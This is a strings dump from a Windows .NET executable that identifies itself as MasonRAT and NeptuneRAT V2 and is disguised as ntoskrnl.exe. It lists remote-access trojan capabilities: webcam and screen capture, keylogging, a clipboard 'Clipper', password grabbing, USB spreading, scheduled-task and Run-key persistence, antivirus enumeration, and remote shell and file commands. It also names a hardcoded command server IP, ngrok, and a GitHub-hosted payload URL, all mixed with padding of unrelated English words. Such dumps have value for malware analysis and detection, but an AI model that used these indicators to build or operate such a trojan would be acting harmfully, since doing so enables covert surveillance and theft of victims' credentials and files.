!This program cannot be run in DOS mode.
`.rsrc
@.reloc
v4.0.30319
#Strings
_Closure$__1
ReadOnlyCollection`1
ThreadSafeObjectProvider`1
IEnumerator`1
List`1
Microsoft.Win32
user32
ToInt32
_Lambda$__6
get_UTF8
<Module>
$VB$Local_A
capGetDriverDescriptionA
capCreateCaptureWindowA
get_ASCII
System.IO
MasonRAT
Dispose__Instance__
Create__Instance__
Multimedia
Philadelphia
get_Data
ProjectData
mscorlib
set_Verb
ReleaseHdc
GetHdc
Strategic
Techrepublic
Hydraulic
Polyphonic
Electronic
System.Collections.Generic
Microsoft.VisualBasic
Automatic
Synthetic
Authentic
Fantastic
get_Id
GetProcessById
OpenRead
Thread
Recommended
RijndaelManaged
Identified
Mentioned
Concerned
Developed
Endangered
Encountered
Manufactured
Decreased
Expressed
Discussed
Investigated
Initiated
Graduated
Motivated
Suspected
Completed
Accredited
Inherited
Transmitted
Retrieved
add_ErrorDataReceived
remove_ErrorDataReceived
add_OutputDataReceived
remove_OutputDataReceived
Unauthorized
EndSend
BeginSend
Append
FromHwnd
CompareMethod
TargetMethod
Understood
Motherboard
Snowboard
Unsubscribe
Replace
Compliance
Performance
Assurance
Renaissance
Resistance
Assistance
CreateInstance
get_GetInstance
instance
Relevance
Dependence
Workforce
Worldwide
GetHashCode
set_Mode
CipherMode
SelectMode
Milwaukee
Committee
Nightlife
GetThumbnailImage
FromImage
get_Message
Percentage
Challenge
Stephanie
EndInvoke
BeginInvoke
Affordable
IEnumerable
IDisposable
Vegetable
RuntimeTypeHandle
GetTypeFromHandle
EventWaitHandle
Rectangle
DownloadFile
UploadFile
RenameFile
Louisville
IsInRole
WindowsBuiltInRole
get_MainModule
ProcessModule
AppWinStyle
set_WindowStyle
ProcessWindowStyle
get_Name
get_FileName
set_FileName
GetTempFileName
GetFileName
get_MachineName
get_OSFullName
get_FullName
get_UserName
get_ProcessName
DateTime
get_LastWriteTime
get_StartTime
WaitOne
BeginErrorReadLine
BeginOutputReadLine
WriteLine
Telescope
ChangeType
get_MimeType
CheckForSyncLockOnValueType
get_DriveType
SecurityProtocolType
GetType
SocketType
Healthcare
Nightmare
Elsewhere
Questionnaire
Yorkshire
Sculpture
MethodBase
ApplicationBase
Expertise
Pantyhose
Dispose
Warehouse
Syndicate
Create
MulticastDelegate
AppendOutputTextDelegate
Inappropriate
Coordinate
Demonstrate
DelegateAsyncState
EditorBrowsableState
Facilitate
Delete
Incomplete
ThreadStaticAttribute
STAThreadAttribute
CompilerGeneratedAttribute
GuidAttribute
HelpKeywordAttribute
GeneratedCodeAttribute
EditorBrowsableAttribute
ComVisibleAttribute
FileAttribute
AssemblyTitleAttribute
StandardModuleAttribute
HideModuleNameAttribute
DebuggerStepThroughAttribute
AssemblyTrademarkAttribute
DebuggerHiddenAttribute
AssemblyFileVersionAttribute
MyGroupCollectionAttribute
AssemblyDescriptionAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
DebuggerDisplayAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
AccessedThroughPropertyAttribute
set_UseShellExecute
Institute
WriteByte
ToByte
m_ThreadStaticValue
GetObjectValue
GetValue
SetValue
set_Expect100Continue
EndReceive
BeginReceive
Offensive
Exclusive
Legislative
Cumulative
Perspective
Protective
ntoskrnl.exe
get_Size
get_TotalSize
set_SendBufferSize
set_ReceiveBufferSize
get_Png
Introducing
System.Threading
Spreading
Proceeding
Depending
NewLateBinding
Encoding
Including
Excluding
System.Drawing.Imaging
Strengthening
Positioning
Comparing
FromBase64String
ToBase64String
CompareString
ToString
GetString
Substring
Increasing
Surprising
Fascinating
Evaluating
Contracting
Competing
Preventing
Troubleshooting
Submitting
System.Drawing
Following
Underlying
Specializing
ToLong
set_ErrorDialog
ComputeHash
GetTempPath
GetFolderPath
get_Width
get_Length
EndsWith
Portsmouth
ForNextCheckObj
ForLoopInitObj
get_ServicePack
Trackback
AsyncCallback
DelegateCallback
TimerCallback
WaitCallback
Brunswick
TransformFinalBlock
Framework
get_Network
Biological
Numerical
Historical
Classical
Artificial
Editorial
Aboriginal
Occasional
Occupational
Organizational
Exceptional
Institutional
System.Security.Principal
WindowsPrincipal
Developmental
Spiritual
Transexual
System.Collections.ObjectModel
System.ComponentModel
GetPixel
Thumbnail
LateCall
Volleyball
gdi32.dll
avicap32.dll
user32.dll
ntoskrnl
set_SecurityProtocol
ThreadPool
ForLoopControl
ObjectFlowControl
Beautiful
Wonderful
Amsterdam
FileStream
FromStream
MemoryStream
get_Param
get_Item
QueueUserWorkItem
get_FileSystem
get_Is64BitOperatingSystem
SymmetricAlgorithm
HashAlgorithm
Random
Classroom
ICryptoTransform
ToBoolean
Mediterranean
Brazilian
Hungarian
Afghanistan
get_PrimaryScreen
Strengthen
Forgotten
System.ComponentModel.Design
AppDomain
get_CurrentDomain
Liechtenstein
Provision
GetExtension
GetFileNameWithoutExtension
get_OSVersion
Submission
Publication
Application
Authentication
Education
Association
Variation
Legislation
Translation
Confirmation
Nomination
Federation
Penetration
Registration
Conversation
Interpretation
Rehabilitation
Presentation
Playstation
Evaluation
Situation
Observation
Preservation
Civilization
Interaction
System.Reflection
ManagementObjectCollection
Inspection
Addiction
Jurisdiction
Nutrition
get_Position
set_Position
Opposition
Intervention
Exception
Distribution
Evolution
Constitution
Environ
Richardson
Arlington
SocketShutdown
ImageCodecInfo
MethodInfo
FileInfo
DriveInfo
FileSystemInfo
ComputerInfo
get_StartInfo
ProcessStartInfo
DirectoryInfo
get_Audio
Bitmap
Relationship
Sponsorship
September
MD5CryptoServiceProvider
StringBuilder
SpecialFolder
Encoder
ServicePointManager
ToInteger
ManagementObjectSearcher
Photographer
Publisher
DataReceivedEventHandler
System.CodeDom.Compiler
ToUpper
get_CurrentUser
Character
EncoderParameter
StreamWriter
TextWriter
Manchester
ServerComputer
set_RedirectStandardError
ClearProjectError
SetProjectError
Cursor
Indicator
IEnumerator
ManagementObjectEnumerator
GetEnumerator
Administrator
Activator
.cctor
Monitor
CreateDecryptor
CreateEncryptor
UIntPtr
SetAttr
Graphics
Electronics
System.Diagnostics
Downloads
Handhelds
Thousands
get_Bounds
Postcards
Microsoft.VisualBasic.Devices
MyWebServices
Microsoft.VisualBasic.ApplicationServices
System.Runtime.InteropServices
Microsoft.VisualBasic.CompilerServices
System.Runtime.CompilerServices
Microsoft.VisualBasic.MyServices
Experiences
Sequences
Advantages
Exchanges
Identifies
Technologies
Companies
Categories
GetDirectories
Countries
Findarticles
GetFiles
Molecules
Schedules
GetModules
Programmes
Guidelines
Ringtones
GetTypes
Adventures
Databases
Purchases
GetProcesses
Generates
ReadAllBytes
WriteAllBytes
GetBytes
get_Drives
Incentives
Ourselves
SocketFlags
Offerings
Strings
DataReceivedEventArgs
Photographs
Arthritis
Essentials
Proposals
Hospitals
Equals
Bathrooms
System.Windows.Forms
Republicans
Decisions
Televisions
Provisions
Dimensions
Conversions
Permissions
Specifications
Notifications
Variations
Appropriations
Considerations
Corporations
Equations
System.Collections
Inspections
Interventions
Descriptions
Calendars
Subscribers
Producers
GetImageEncoders
Volunteers
Researchers
Publishers
Controllers
RuntimeHelpers
EncoderParameters
Headquarters
Cursors
Operators
Contributors
Distributors
GetCurrentProcess
MyProcess
Architects
System.Net.Sockets
Participants
Immigrants
Residents
Amendments
Announcements
Measurements
Shipments
Commitments
set_Arguments
Instruments
Complaints
Constraints
Scientists
Exists
Mauritius
Infectious
Indigenous
Dangerous
Concat
ImageFormat
AddObject
ManagementBaseObject
CreateObject
ConcatenateObject
TargetObject
Collect
Connect
Incorrect
LateGet
System.Net
LateSet
Socket
Microsoft
get_Height
Lightweight
set_DefaultConnectionLimit
WaitForExit
BitBlt
get_Default
IAsyncResult
DelegateAsyncResult
DialogResult
Significant
Important
President
Sufficient
WebClient
Parliament
System.Management
Arrangement
Infringement
Establishment
Environment
Department
Adjustment
Deployment
Employment
Component
Different
get_Current
GetCurrent
ManualResetEvent
keybd_event
mouse_event
Complaint
get_EntryPoint
get_ProcessorCount
GetPathRoot
Looksmart
ThreadStart
Restart
Convert
GetThumbnailImageAbort
Broadcast
get_DnsSafeHost
get_StandardInput
set_RedirectStandardInput
set_RedirectStandardOutput
MoveNext
System.Text
ReadAllText
set_CreateNoWindow
Slideshow
MessageBox
Yesterday
ToArray
Pregnancy
Efficiency
set_Key
OpenSubKey
RegistryKey
Genealogy
Sociology
Geography
System.Security.Cryptography
get_Assembly
Extremely
Accurately
Definitely
AddressFamily
Substantially
Originally
Internationally
Continually
Quarterly
Continuously
Perfectly
Instantly
Proprietary
Voluntary
Discovery
Mandatory
Regulatory
RenameDirectory
CreateDirectory
MoveDirectory
get_SystemDirectory
CopyDirectory
Introductory
Psychiatry
get_Registry
Electricity
Functionality
Beastality
Quality
op_Inequality
Eligibility
Responsibility
Opportunity
Celebrity
Acdbentity
WindowsIdentity
FileSystemProxy
RegistryProxy
%Company%
%Title%
%Product%
WrapNonExceptionThrows
%Copyright%
$2b9461e1-86e8-4acf-a623-78220a5dad2f
1.0.0.0
%Trademark%
MyTemplate
14.0.0.0
My.Computer
My.Application
My.User
My.WebServices
4System.Web.Services.Protocols.SoapHttpClientProtocol
Create__Instance__
Dispose__Instance__
MyProcess
<generated method>
<generated method>
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
September
Submission
Considering
Territories
Replication
Agriculture
Agricultural
45.83.207.17
MasonRAT
MasonGroup
USB.exe
BiLYhZuKA9bBnrRl
Atmosphere
Profession
appdata
schtasks.exe
/create /f /sc minute /mo 1 /tn "
" /tr "
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Simplified
Understood
Obtaining
Microsoft
Service Pack
NeptuneRAT V2
Effectively
Committees
Consistent
Discounted
Editorials
Disorders
Paragraph
Addressing
Educators
Announces
Examinations
Completion
Error:
uninstall
update
Height
Memory
getinfo
openhide
internetexplorer.application
navigate
visible
shellfuc
regfuc
WScript.Shell
RegWrite
REG_DWORD
RunBotKiller
script
Cilpper
Clipper
injRun
startusb
startsp
PSleep
PreventSleep
taskkill.exe
/pid
CMD.EXE
Process Started at:
runnnnnn
closeshell
GetText
setText
clearr
BScreen
GetDrives
FileManager
Desktop
AppData
UserProfile
Startup
Delete
Folder
Execute
ExecuteRunAs
cmd.exe
/c start "" "
Rename
txtttt
viewimage
hidefolderfile
showfolderfile
creatnewfolder
creatfile
downloadfile
downloadedfile
sendfileto
install
NETINS
7zip\7z.exe
InsProg
RSSDis
GETWCamPlu
GETWmicPlu
Wsound
GETWsoundPlu
JustFun
MapsPLU
closeKL
HKEY_CURRENT_USER\SOFTWARE\
GETTCP
GetActiveWindows
killAct
InstallN
InstallngC
\ngrok.exe
Getpass
Pvbnet
Emails
Error!
LLCHAT
[Folder]
FileManagerSplitFileManagerSplit
FileManagerSplit
[Drive]
Britannica
Charlotte
Amenities
Referrals
Necessarily
Collecting
Impressed
Biographies
Resolutions
Minneapolis
Terrorist
Municipal
Reception
Bookstore
Recipient
Chevrolet
Accompanying
Metropolitan
Appointed
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Err HWID
https://raw.githubusercontent.com/76bh/img/main/Imagenep.png
Class1
dd/MM/yyy
Nothing
\root\SecurityCenter2
Select * from AntivirusProduct
displayName
POST / HTTP/1.1
Host:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
User-Agent:
Content-length: 5235
Assessments
Nightlife
Provisions
Individuals
Consumption
Subjective
Appreciation
Essentials
Exclusively
Azerbaijan
Instruments
Translations
Liverpool
Documented
Attractive
Qualities
Cholesterol
Concerning
Mechanism
Separation
Transaction
Revisions
image/jpeg
Investment
Immediately
Independent
Instrumental
Knowledgestorm
Represent
Phenomenon
Increasingly
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
%Company%
FileDescription
%Title%
FileVersion
1.0.0.0
InternalName
ntoskrnl.exe
LegalCopyright
%Copyright%
LegalTrademarks
%Trademark%
OriginalFilename
ntoskrnl.exe
ProductName
%Product%
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0